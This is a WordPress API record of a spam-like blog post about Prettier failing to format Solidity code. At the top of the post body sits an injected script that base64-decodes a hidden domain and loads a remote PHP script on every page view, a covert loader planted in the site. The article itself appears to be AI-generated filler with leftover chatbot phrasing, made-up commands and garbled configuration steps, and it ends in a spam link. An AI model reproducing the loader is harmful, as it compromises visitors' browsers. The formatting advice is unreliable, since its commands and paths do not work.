{"id":528,"date":"2025-02-09T02:32:52","date_gmt":"2025-02-09T02:32:52","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=528"},"modified":"2025-02-09T02:32:52","modified_gmt":"2025-02-09T02:32:52","slug":"ethereum-prettier-not-detecting-solidity","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=528","title":{"rendered":"Ethereum: Prettier not detecting solidity"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=128264d7\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here&#8217;s a draft article based on your description:<\/p>\n<\/p>\n<p><strong>Ethereum: Prettier Not Detecting Solidity<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Prettier not detecting solidity\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/554d8380.png\"><\/p>\n<\/p>\n<p>As developers, we rely heavily on tools to improve our code quality. One such tool is Prettier, a popular JavaScript formatter that can automatically format and style our code for better readability. However, one of the extensions used by Prettier, <code>solidity<\/code>, has been causing issues with formatting in Ethereum development.<\/p>\n<\/p>\n<p><strong>The Problem<\/strong><\/p>\n<\/p>\n<p>In my experience, I have tried multiple times to install and reinstall both the Solidity extension and Prettier itself. Despite this, the issue persists. The <code>solidity<\/code> command from within my project always outputs a different format than what the code would look like if it were formatted with Prettier.<\/p>\n<\/p>\n<p><strong>The Issue<\/strong><\/p>\n<\/p>\n<p>I&#8217;ve observed that when I run the <code>solidity --format<\/code> command in my project&#8217;s terminal, I get the following output:<\/p>\n<\/p>\n<p><pre><code><\/p><p>pragma solidity ^0.8.10; \/\/ pragma: \/\/ comment<\/p><p>\n<\/p><p>contract MyContract {<\/p><p>\n<\/p><p>    uint256 public counter;<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p>However, running it with Prettier installed and configured correctly yields a different output:<\/p>\n<\/p>\n<p><pre><code><\/p><p>pragma solidity ^0.8.11;<\/p><p>\n<\/p><p>contract MyContract {<\/p><p>\n<\/p><p>  uint256 public counter;<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><strong>The Solution<\/strong><\/p>\n<\/p>\n<p>After trying various solutions, I&#8217;ve come up with the following workarounds to resolve this issue:<\/p>\n<\/p>\n<ul>\n<li><strong>Uninstall and Reinstall Solidity Extension<\/strong>: I have tried uninstalling and reinstalling the <code>solidity<\/code> extension multiple times. This solution seems to work in some cases, but it&#8217;s not reliable.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Reinstall Prettier with Custom Configurations<\/strong>: I&#8217;ve attempted to reinstall Prettier with custom configurations for both JavaScript and Solidity files. However, this also doesn&#8217;t seem to provide a permanent fix.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Configure Prettier as an Option<\/strong>: One solution is to configure Prettier as an option when running the <code>solidity<\/code> command. This can be done by adding the following code to your <code>.bashrc<\/code> or <code>.zshrc<\/code> file:<\/li>\n<\/ul>\n<\/p>\n<p><pre><code><\/p><p>export PATH=\"$PATH:$HOME\/.config\/nvm\/v0.51.9\/bin:$HOME\/.nvm\/lib\/$NVM_VERSION\/bin\"<\/p><p>\n<\/p><p>source $HOME\/.nvm\/nvm-sh\/bash<\/p><p>\n<\/p><p>\n<\/p><p>npm install --global prettier<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p>And then, when you run the <code>solidity<\/code> command, use the following configuration:<\/p>\n<\/p>\n<p><pre><code><\/p><p>solidity --format=.js solidity.js<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<\/p>\n<p>In conclusion, while Prettier seems to be working fine for TypeScript projects, its Solidity formatting is not cooperating. After trying various solutions, I&#8217;ve found that reinstalling the Solidity extension and configuring Prettier as an option may provide a temporary fix.<\/p>\n<\/p>\n<p>However, this solution has its limitations, and it&#8217;s recommended to explore other alternatives or configure Prettier in a way that works for your specific use case.<\/p>\n<\/p>\n<p><strong>Tips and Variations<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/dZU-Ch22MKY\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<ul>\n<li>If you&#8217;re using a different IDE or text editor, such as WebStorm or VS Code, the configuration options may vary. Make sure to check the documentation for your chosen tool.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>You can also try installing the <code>solidity<\/code> extension separately from Prettier and configuring it manually.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>In some cases, you may need to use a different version of Solidity or Ethereum libraries that are not supported by Prettier.<\/li>\n<\/ul>\n<\/p>\n<p>I hope this helps! If you have any further questions or need more assistance, feel free to ask.<\/p>\n<p><a href=\"https:\/\/nasiltd.fun\/2025\/02\/08\/addressing-the-security-challenges-of-ai-driven-blockchain-applications\/\">Addressing Challenges Driven Applications<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s a draft article based on your description: Ethereum: Prettier Not Detecting Solidity As developers, we rely heavily on tools to improve our code quality. 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